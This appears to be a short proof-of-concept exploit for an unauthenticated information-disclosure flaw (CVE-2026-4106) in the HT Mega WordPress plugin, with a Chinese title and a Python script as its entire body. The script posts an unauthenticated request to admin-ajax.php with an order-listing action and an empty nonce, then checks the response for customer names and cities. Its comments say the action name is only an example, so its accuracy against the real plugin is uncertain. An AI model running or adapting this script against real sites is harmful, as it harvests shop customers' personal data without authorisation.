CVE-2026-4106 HT Mega插件未认证信息泄露漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/wp-admin/admin-ajax.php" # The specific action name may vary based on plugin version or configuration # This is a representative example of the exploit payload. payload = { "action": "ht_mega_get_recent_orders", # Example action name, verify in source code "security": "" # If nonce is required, this might be empty or bypassed } try: # Sending unauthenticated POST request response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check if PII data is present in the response if "full_name" in response.text or "city" in response.text: print("[!] Potential PII data leaked!") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")